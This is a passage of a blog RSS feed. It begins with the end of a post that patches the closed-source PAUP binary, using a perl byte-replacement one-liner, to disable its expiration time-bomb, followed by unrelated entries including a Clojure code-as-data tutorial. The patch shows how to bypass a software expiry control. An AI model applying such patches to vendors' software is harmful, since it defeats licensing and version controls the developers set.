&lt;p&gt;Normally &lt;code&gt;xxd&lt;/code&gt; will split its output in nice human-readable format (try running &lt;code&gt;xxd paup4a161_osx | less&lt;/code&gt; to see), but we turn that off with &lt;code&gt;xxd -p&lt;/code&gt; since the hex sequence we’re looking for might get split across multiple lines. We then tell &lt;code&gt;grep&lt;/code&gt; to &lt;code&gt;-o&lt;/code&gt;nly print out the matching sequence, so we’re not deluged with the entire binary file in hex!&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;perl -pi -e 's/\x{81}(\x{fa}\x{e2}\x{07})/\x{c3}$1/' paup4a161_osx
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This replaces the first byte &lt;code&gt;0x81&lt;/code&gt; with &lt;code&gt;0xc3&lt;/code&gt;, which is the opcode for &lt;code&gt;ret&lt;/code&gt;. Basically it makes the comparison function return as soon as it is called.&lt;/p&gt;
&lt;p&gt;We can verify that this worked by setting the date into the future again and running PAUP. Success!&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I hope this was a useful tutorial on how to confidently navigate closed-source binaries and modify them to suit your own needs. I also hope that this encourages phylogenetics software developers to release their code as open-source, so that others can more easily change the software without resorting to these hacks.&lt;/p&gt;
&lt;p&gt;I understand that the developers probably have good reasons to do version checks, though users should be informed and agree to such checks. I think there is less of an argument for including time-bombs that disable the software. Ultimately it’s on the users to use the software appropriately and attempting to restrict user freedoms in this way is both unnecessary and futile.&lt;/p&gt;
&lt;!---
96b7b9eea4d05d9aa3c361b3ec9dcd2c9a820874b574e17bb355f64ccfe2f08b  paup4a161_fixed
cf2fc5890a516c2539f864c1269de30211704b9ad491bed5672d199f72d79754  paup4a161_osx
6480de7b813aa5a7ea4258efcd5183ee005063797c8582322f3ea4dc9dbe45fa  paup4a161_osx.gz
---&gt;</description><author>Jonathan Chang</author><pubDate>Tue, 05 Jun 2018 10:18:00 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/removing-paup-s-expiration-date-and-version-check/</guid></item><item><title>Team Badge Design: License to Trill</title><link>https://solomon.io/team-badge-design-license-to-trill/</link><description>Once a quarter SalesLoft sets aside a few of days for the product and engineering teams to work on whatever they want.</description><author>Sam Solomon</author><pubDate>Tue, 05 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/team-badge-design-license-to-trill/</guid></item><item><title>On the Rating of Media</title><link>https://xavd.id/blog/post/on-the-rating-of-media/</link><description>Learn more about how I rank all of the media I track in a consistent manner&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/on-the-rating-of-media/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Tue, 05 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/on-the-rating-of-media/</guid></item><item><title>Wavecatcher</title><link>https://www.anfractuosity.com/projects/wavecatcher/</link><description>Acoustic Cryptanalysis &amp;#8220;Acoustic cryptanalysis is a type of side channel attack that exploits sounds emitted by computers or other devices&amp;#8221; Wavecatcher is a simple PCB that makes use of a MEMS ultrasound microphone, in order to capture audio to around 80kHz, with the goalof finding interesting ultrasound sources and playing with exfiltrating data from SMPSs [&amp;#8230;]</description><author>Anfractuosity</author><pubDate>Mon, 04 Jun 2018 22:15:28 GMT</pubDate><guid isPermaLink="true">https://www.anfractuosity.com/projects/wavecatcher/</guid></item><item><title>What is wrong with Italy?</title><link>https://ferrucc.io/posts/italy-s-problems/</link><description>&lt;p&gt;We now have a government in Italy.&lt;/p&gt;
&lt;p&gt;Everyone around me is talking about this, so I figured out I might as well try to analyse what are the biggest problems the country is facing.&lt;/p&gt;
&lt;p&gt;Here is a list of existential problems we face:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Labor Market laws make it almost impossible or extremely costly to hire/fire anyone.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Organised Crime, Tax evasion, Corruption and waste of public money plague the country.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The juidicial system is extremely slow and inefficient. If someone scams you, you might have to wait years for them to be prosecuted.&lt;/p&gt;</description><author>ferrucc.io</author><pubDate>Mon, 04 Jun 2018 22:12:03 GMT</pubDate><guid isPermaLink="true">https://ferrucc.io/posts/italy-s-problems/</guid></item><item><title>3 not very well known sites for free resources</title><link>https://yasha.solutions/3-not-very-well-known-site-for-free-resources/</link><description>I always see the same sites used and quotes for free stuff (unsplash, pexels, freepics, etc.) and that’s cool because these are awesome resources anyways, but today I just wanted to feature 3 places I recently discovered and I haven’t seen quoted or talked about in many places.
Resource Cards Growing list of free resources aimed to help creatives with their projects.
By Stelianand Sergiu Firez
  Web: https://resourcecards.com/.</description><author>Yasha Solutions</author><pubDate>Mon, 04 Jun 2018 10:43:46 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/3-not-very-well-known-site-for-free-resources/</guid></item><item><title>How to handle server-side rendering in React</title><link>https://maxrozen.com/tips-for-making-server-side-rendering-in-react-easy</link><description>Getting server-side rendering to work in React is quite a hassle if you don't know what you're doing. Let's make it easier.</description><author>Max Rozen</author><pubDate>Mon, 04 Jun 2018 08:52:00 GMT</pubDate><guid isPermaLink="true">https://maxrozen.com/tips-for-making-server-side-rendering-in-react-easy</guid></item><item><title>Code and Data</title><link>https://johnj.com/posts/code-and-data/</link><description>&lt;p&gt;





&lt;a href="https://johnj.com/thin-ice.png"&gt;&lt;img class="resize" src="https://johnj.com/thin-ice_hu_2c5da9487f484be.png" style="width: 700px; border: 0px solid black;" /&gt;&lt;/a&gt;

&lt;/p&gt;
&lt;div class="outline-2" id="outline-container-headline-1"&gt;
&lt;h2 id="headline-1"&gt;
Introduction
&lt;/h2&gt;
&lt;div class="outline-text-2" id="outline-text-headline-1"&gt;
&lt;p&gt;
&lt;em&gt;This article was adapted from discussions we had at the weekly
Clojure study group at OpinionLab, in June, 2018.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;
Clojure is a Lisp.  Code is data in Lisp, and data can also be
code. Lisp code consists of lists of symbols (or atoms, as they are
called in other Lisps), other data primitives such as numbers and
keywords, or (nested) lists of the same.&lt;sup class="footnote-reference"&gt;&lt;a href="#footnote-1" id="footnote-reference-1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;
The first item in an expression (list) is the name of an operation,
usually a function; the rest of the items are the arguments. When
lists are nested, the inner expressions are evaluated first: in &lt;code class="verbatim"&gt;(+ 1
(* 2 3))&lt;/code&gt;, the multiplication happens before the addition.&lt;/p&gt;
&lt;p&gt;
Somewhat less commonly, instead of function names, the first item in
the list may be the name of a macro or so-called "special form."  In
these cases, the exact method of evaluation depends on the
implementation of the macro or form. For example, in &lt;code class="verbatim"&gt;(dotimes [_ 10]
(println 'hi))&lt;/code&gt;, the &lt;code class="verbatim"&gt;println&lt;/code&gt; is evaluated 10 times; if &lt;code class="verbatim"&gt;dotimes&lt;/code&gt;
were a function, &lt;code class="verbatim"&gt;println&lt;/code&gt; would be evaluated exactly once.&lt;/p&gt;
&lt;p&gt;
To prevent evaluation of an expression, one can &lt;code class="verbatim"&gt;quote&lt;/code&gt; it:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(quote (+ 1 (* 2 3)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;=&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(+ 1 (* 2 3))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
The single quote (') character is an abbreviation for &lt;code class="verbatim"&gt;quote&lt;/code&gt;:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;'(+ 1 (* 2 3))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;=&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(+ 1 (* 2 3))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
The REPL will evaluate expressions unless you quote them; if you
decide later you want to evaluate an expression, you can use &lt;code class="verbatim"&gt;eval&lt;/code&gt;:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(def expr '(+ 1 (* 2 3)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(eval expr)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;=&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
Quoting and evaluation are inverse operations:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(eval (eval (eval (eval ''''(+ 1 (* 2 3))))))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;=&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
Here are some examples you should try at the REPL, to help build an
understanding of these two operations:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(+ 1 1)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;'+
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;'(+ 1 1)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(cons '+ '(1 1))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(eval (cons '+ '(1 1)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(first '(+ - * /))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(cons (first '(+ - * /)) '(1 1))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(eval (cons (first '(+ - * /)) (rest '(not-a-number 1 1))))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(-&amp;gt;&amp;gt; '(not-a-number 1 1)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;     rest
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;     (cons (first '(+ - * /)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;     eval)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
Try to understand each of these as best you can, and try some
variations.  The last expression is the same as the one prior to it,
just rewritten using the thread-last (&lt;code class="verbatim"&gt;-&amp;gt;&amp;gt;&lt;/code&gt;) macro.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-2" id="outline-container-headline-2"&gt;
&lt;h2 id="headline-2"&gt;
Arithmetic of the Fittest
&lt;/h2&gt;
&lt;div class="outline-text-2" id="outline-text-headline-2"&gt;
&lt;p&gt;
The close relationship of code and data suggests making new code on
the fly to solve problems, which is a concept used in
&lt;a href="https://en.wikipedia.org/wiki/Genetic_algorithm"&gt;genetic algorithms&lt;/a&gt;.  Here is an example inspired by GAs.  Let's write
a function which &lt;em&gt;finds expressions involving the four arithmetic
operators that return the number 2.&lt;/em&gt; Examples:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(+ 1 1)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(- 4 2)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(* 1 2)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(/ 2 1)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
First, let's make our expression generator (type or copy-paste into your REPL):&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defn oper [] (rand-nth '(* / - +)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defn digit [] (rand-int 10))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defn numlist []
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  (let [numnums (rand-int 10)]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    (repeatedly numnums digit)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defn expr-fn []
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  (cons (oper) (numlist)))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
Trying these out:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(oper)    ;;=&amp;gt; *
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(oper)    ;;=&amp;gt; /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(numlist) ;;=&amp;gt; (6)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(numlist) ;;=&amp;gt; (6 9 3 4 4 2 4 3 2)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(expr-fn) ;;=&amp;gt; (/ 6 1 3 7 0 3 0 9)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(expr-fn) ;;=&amp;gt; (- 5 7 2)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
Our expression generator selects an arithmetic operator at random, and
tacks it on to the beginning of a random list of 0-9 digits.&lt;/p&gt;
&lt;p&gt;
Evaluating some example functions:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(eval (expr-fn)) ;;=&amp;gt; 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(eval (expr-fn)) ;;=&amp;gt; 41
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(eval (expr-fn)) ;;=&amp;gt; 7/1152
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(eval (expr-fn)) ;;=&amp;gt; java.lang.ArithmeticException stacktrace!?!?!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
This last one shows a problem: some of our expressions will not be
valid mathematically (for example, &lt;code class="verbatim"&gt;(/ 1 0)&lt;/code&gt;). Let's catch any exceptions:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(defn eval-with-catch-exception [expr]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  (try
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    (eval expr)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    (catch Throwable t
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      (-&amp;gt; t .getClass .getSimpleName symbol))))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
This function attempts to evaluate &lt;code class="verbatim"&gt;expr&lt;/code&gt; and, if the code throws an
exception, simply returns the exception name as a symbol.&lt;/p&gt;
&lt;p&gt;
We are now in a position to try our code generator out:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(dotimes [_ 10]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  (let [e (expr-fn)]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    (println e (eval-with-catch-exception e))))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
which gives&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(/ 9 8 7 0 0 7 2 2 6) ArithmeticException
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(+ 1 3 3 0 7 7 6) 27
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(+ 4 2) 6
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(- 4 1 2 1 0 0 0) 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(/ 5 7 0 7) ArithmeticException
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(* 0 4 6) 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(* 8 6 7 2 4 1) 2688
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(* 7 4 6 9 8 6) 72576
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(*) 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(- 7) -7&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
(&lt;code class="verbatim"&gt;*&lt;/code&gt; called with no arguments returns 1; &lt;code class="verbatim"&gt;+&lt;/code&gt; with no arguments returns 0. This may or
may not make intuitive sense to you, depending on how much math you've had in
school.)&lt;/p&gt;
&lt;p&gt;
Let's generate some that return the desired result, 2:&lt;/p&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(distinct
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; (for [_ (range 1000)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;       :let [f (expr-fn)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;             result (eval-with-catch-exception f)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;             fitness-fn #(= result 2)]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;       :when (fitness-fn)]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;   f))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;=&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;((+ 2)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; (- 9 1 1 1 4)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; (- 2 0)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; (/ 4 2)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; (/ 2 1)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; (* 2))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
(Note that &lt;code class="verbatim"&gt;(+ n)&lt;/code&gt; and &lt;code class="verbatim"&gt;(* n)&lt;/code&gt; both just return &lt;code class="verbatim"&gt;n&lt;/code&gt;.)&lt;/p&gt;
&lt;div class="outline-3" id="outline-container-headline-3"&gt;
&lt;h3 id="headline-3"&gt;
Macros
&lt;/h3&gt;
&lt;div class="outline-text-3" id="outline-text-headline-3"&gt;
&lt;p&gt;
Macros are an advanced topic, but they are relevant because they allow
(among other things) selective evaluation of arguments. Arguments to a
macro can be evaluated zero, one, or many times; this makes macros
especially helpful for implementing control flow: &lt;code class="verbatim"&gt;loop&lt;/code&gt;, &lt;code class="verbatim"&gt;for&lt;/code&gt;,
&lt;code class="verbatim"&gt;while&lt;/code&gt; etc. are all macros.&lt;/p&gt;
&lt;p&gt;
Macros rely on code-as-data: they essentially functions which generate
code, which is then evaluated. Most or all modern Lisps have macros,
the equivalent of which are very rare in non-Lisps. These macros play
a large role in making Lisp so expressive.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-3" id="outline-container-headline-4"&gt;
&lt;h3 id="headline-4"&gt;
Exercises
&lt;/h3&gt;
&lt;div class="outline-text-3" id="outline-text-headline-4"&gt;
&lt;p&gt;
&lt;strong&gt;Exercise 1&lt;/strong&gt;: Creating and evaluating code on the fly in this manner
is not unique to Lisp, but Lisp provides a very natural way to do
so. Consider how to do the above examples in JavaScript, Ruby, or
other mainstream languages. What, if any, are the differences between
Clojure/Lisp and those languages?&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Exercise 2&lt;/strong&gt;: Set a different arithmetic goal (other than &lt;code class="verbatim"&gt;2&lt;/code&gt;) and
generate expressions which satisfy it.&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Exercise 3&lt;/strong&gt;: Adapt your code generator to include nested expressions,
so that some of the numbers are generated expressions in their own
right.  Example: &lt;code class="verbatim"&gt;(+ 1 4) -&amp;gt; (+ 1 (* 2 2))&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Exercise 4&lt;/strong&gt;: Instead of generating expressions, adapt &lt;code class="verbatim"&gt;expr-fn&lt;/code&gt; to
return &lt;em&gt;functions&lt;/em&gt; of no arguments, and adapt the rest of the code to
call and evaluate those functions.  I.e., &lt;code class="verbatim"&gt;(+ 1 2 3)&lt;/code&gt; becomes &lt;code class="verbatim"&gt;(fn []
(+ 1 2 3))&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Exercise 5 (advanced)&lt;/strong&gt;: Both the generated functions and the "fitness function"
&lt;code class="verbatim"&gt;fitness-fn&lt;/code&gt; can be made more complex; for example, in addition to the
operators &lt;code class="verbatim"&gt;+ - * /&lt;/code&gt; and the numbers 0-9, you could add an "argument"
variable &lt;code class="verbatim"&gt;x&lt;/code&gt; and change the fitness function to expect expressions
that return the square of &lt;code class="verbatim"&gt;x&lt;/code&gt;; some acceptable outputs would
then be &lt;code class="verbatim"&gt;(* x x)&lt;/code&gt; and &lt;code class="verbatim"&gt;(* 1 x x 1)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;
Change your expression generator and fitness functions to implement
the squaring function.&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Exercise 6 (advanced)&lt;/strong&gt;: try adding other Clojure core functions and
data types to the list of possible operators and arguments; try other
fitness functions as well.&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Exercise 7 (more advanced)&lt;/strong&gt;: develop a way of combining expressions
and evaluating the fitness of the resulting expression. To build on
our previous example, if you have the two lists &lt;code class="verbatim"&gt;(+ 1 1)&lt;/code&gt; and &lt;code class="verbatim"&gt;(* 2
3)&lt;/code&gt;, you could choose terms at random from each list, e.g. &lt;code class="verbatim"&gt;(* 1 3)&lt;/code&gt;;
you must decide how to handle lists with different lengths.  The
fitness function could just be &lt;code class="verbatim"&gt;fitness-fn&lt;/code&gt; from our example, or a
more ambitious one&lt;sup class="footnote-reference"&gt;&lt;a href="#footnote-2" id="footnote-reference-2"&gt;2&lt;/a&gt;&lt;/sup&gt;. If you want to include nested
expressions, then you have to decide how to combine those.&lt;/p&gt;
&lt;p&gt;
Rather than success or failure, the fitness function could return a
number which reflects how well or poorly the expression performed. A
strategy from genetic algorithms is to generate many expressions,
evaluate these, take the best performers, and then generate new
expressions by combining these. Implement this.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-3" id="outline-container-headline-5"&gt;
&lt;h3 id="headline-5"&gt;
See Also
&lt;/h3&gt;
&lt;div class="outline-text-3" id="outline-text-headline-5"&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?reload%3D9&amp;amp;v%3Der_lLvkklsk"&gt;This freaking amazing
talk&lt;/a&gt;&lt;sup class="footnote-reference"&gt;&lt;a href="#footnote-3" id="footnote-reference-3"&gt;3&lt;/a&gt;&lt;/sup&gt; given
by William Byrd and Greg Rosenblatt on program synthesis, given at
Clojure/conj 2016.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Genetic_algorithm"&gt;Genetic Algorithms&lt;/a&gt; on Wikipedia&lt;sup class="footnote-reference"&gt;&lt;a href="#footnote-4" id="footnote-reference-4"&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;li&gt;Colin Jones's excellent &lt;a href="https://pragprog.com/book/cjclojure/mastering-clojure-macros"&gt;book on macros&lt;/a&gt;&lt;sup class="footnote-reference"&gt;&lt;a href="#footnote-5" id="footnote-reference-5"&gt;5&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="footnotes"&gt;
&lt;hr class="footnotes-separatator" /&gt;
&lt;div class="footnote-definitions"&gt;
&lt;div class="footnote-definition"&gt;
&lt;sup id="footnote-1"&gt;&lt;a href="#footnote-reference-1"&gt;1&lt;/a&gt;&lt;/sup&gt;
&lt;div class="footnote-body"&gt;
&lt;p&gt;Other collection types in Clojure are ignored in this post.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="footnote-definition"&gt;
&lt;sup id="footnote-2"&gt;&lt;a href="#footnote-reference-2"&gt;2&lt;/a&gt;&lt;/sup&gt;
&lt;div class="footnote-body"&gt;
&lt;p&gt;like, say, returning a list of the first million or so prime numbers&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="footnote-definition"&gt;
&lt;sup id="footnote-3"&gt;&lt;a href="#footnote-reference-3"&gt;3&lt;/a&gt;&lt;/sup&gt;
&lt;div class="footnote-body"&gt;
&lt;p&gt;&lt;a href="https://www.youtube.com/watch?reload=9&amp;amp;v=er_lLvkklsk"&gt;https://www.youtube.com/watch?reload=9&amp;amp;v=er_lLvkklsk&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
